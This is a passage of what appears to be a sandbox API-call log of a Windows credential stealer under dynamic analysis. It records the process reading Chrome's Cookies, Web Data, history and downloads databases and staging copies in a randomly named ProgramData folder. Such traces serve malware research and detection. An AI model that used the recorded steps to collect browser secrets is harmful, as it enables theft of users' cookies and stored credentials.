ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.424] GetLastError () returned 0x2 [0050.424] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eea0 | out: lpFileSizeHigh=0x19eea0*=0x0) returned 0x19000 [0050.424] SetFilePointer (in: hFile=0x390, lDistanceToMove=40960, lpDistanceToMoveHigh=0x19ee7c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee7c*=0) returned 0xa000 [0050.424] ReadFile (in: hFile=0x390, lpBuffer=0x1f24f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ee9c, lpOverlapped=0x0 | out: lpBuffer=0x1f24f6c*, lpNumberOfBytesRead=0x19ee9c*=0x1000, lpOverlapped=0x0) returned 1 [0050.424] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.424] CreateFileW (lpFileName="files\\History\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\history\\google chrome_default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.424] GetFileType (hFile=0x394) returned 0x1 [0050.424] WriteFile (in: hFile=0x394, lpBuffer=0x19d734*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x19d714, lpOverlapped=0x0 | out: lpBuffer=0x19d734*, lpNumberOfBytesWritten=0x19d714*=0xe8, lpOverlapped=0x0) returned 1 [0050.425] CreateFileW (lpFileName="files\\Downloads\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\downloads\\google chrome_default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.426] GetFileType (hFile=0x394) returned 0x1 [0050.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 0x20 [0050.427] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.427] GetFileType (hFile=0x390) returned 0x1 [0050.427] CreateFileW (lpFileName="c" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.432] GetFileType (hFile=0x394) returned 0x1 [0050.432] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.438] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.439] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.440] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.440] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.440] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x400, lpOverlapped=0x0) returned 1 [0050.440] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.440] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x0, lpOverlapped=0x0) returned 1 [0050.440] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19d4d8, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d4d8*=0x400, lpOverlapped=0x0) returned 1 [0050.440] GetFullPathNameW (in: lpFileName="c", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0050.441] GetFullPathNameW (in: lpFileName="c", nBufferLength=0x29, lpBuffer=0x1f13be0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", lpFilePart=0x0) returned 0x25 [0050.441] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0050.441] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0050.441] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", nBufferLength=0x29, lpBuffer=0x1f13ac0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", lpFilePart=0x0) returned 0x25 [0050.441] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8 | out: lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8) returned 1 [0050.441] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f150*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f150*=0) returned 0x0 [0050.441] ReadFile (in: hFile=0x390, lpBuffer=0x19f1cc, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f170, lpOverlapped=0x0 | out: lpBuffer=0x19f1cc*, lpNumberOfBytesRead=0x19f170*=0x64, lpOverlapped=0x0) returned 1 [0050.442] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.442] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed08 | out: lpOverlapped=0x19ed08) returned 1 [0050.442] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2fe, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0050.442] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ecf4 | out: lpFileInformation=0x19ecf4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.442] GetLastError () returned 0x2 [0050.442] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed2c | out: lpFileSizeHigh=0x19ed2c*=0x0) returned 0x3400 [0050.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a32c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0050.442] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ed0c | out: lpFileInformation=0x19ed0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.442] GetLastError () returned 0x2 [0050.442] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed44 | out: lpFileSizeHigh=0x19ed44*=0x0) returned 0x3400 [0050.442] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ecf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ecf8*=0) returned 0x0 [0050.442] ReadFile (in: hFile=0x390, lpBuffer=0x1f2028c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19ed18, lpOverlapped=0x0 | out: lpBuffer=0x1f2028c*, lpNumberOfBytesRead=0x19ed18*=0x400, lpOverlapped=0x0) returned 1 [0050.442] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.443] CreateFileW (lpFileName="files\\Cookies\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\google chrome_default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.443] GetFileType (hFile=0x394) returned 0x1 [0050.443] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x20 [0050.444] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.444] GetFileType (hFile=0x390) returned 0x1 [0050.444] CreateFileW (lpFileName="wd" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.444] GetFileType (hFile=0x394) returned 0x1 [0050.445] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.447] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.447] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.448] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.448] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.449] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.450] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.451] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.452] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.453] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.453] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.453] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x0, lpOverlapped=0x0) returned 1 [0050.453] WriteFile (in: hFile=0x394, lpBuffer=0x1f23870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4d8, lpOverlapped=0x0 | out: lpBuffer=0x1f23870*, lpNumberOfBytesWritten=0x19d4d8*=0x1000, lpOverlapped=0x0) returned 1 [0050.453] GetFullPathNameW (in: lpFileName="wd", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.453] GetFullPathNameW (in: lpFileName="wd", nBufferLength=0x2a, lpBuffer=0x1f14060, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", lpFilePart=0x0) returned 0x26 [0050.453] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f34ff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0050.454] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.454] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", nBufferLength=0x2a, lpBuffer=0x1f14120, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", lpFilePart=0x0) returned 0x26 [0050.454] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8 | out: lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8) returned 1 [0050.454] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f150*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f150*=0) returned 0x0 [0050.454] ReadFile (in: hFile=0x390, lpBuffer=0x19f1cc, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f170, lpOverlapped=0x0 | out: lpBuffer=0x19f1cc*, lpNumberOfBytesRead=0x19f170*=0x64, lpOverlapped=0x0) returned 1 [0050.455] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.455] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed34 | out: lpOverlapped=0x19ed34) returned 1 [0050.455] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35017, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.455] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ed20 | out: lpFileInformation=0x19ed20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.455] GetLastError () returned 0x2 [0050.455] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed58 | out: lpFileSizeHigh=0x19ed58*=0x0) returned 0x11000 [0050.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35046, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.455] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ed38 | out: lpFileInformation=0x19ed38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.455] GetLastError () returned 0x2 [0050.456] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed70 | out: lpFileSizeHigh=0x19ed70*=0x0) returned 0x11000 [0050.456] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed24*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed24*=0) returned 0x0 [0050.456] ReadFile (in: hFile=0x390, lpBuffer=0x1f210ec, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ed44, lpOverlapped=0x0 | out: lpBuffer=0x1f210ec*, 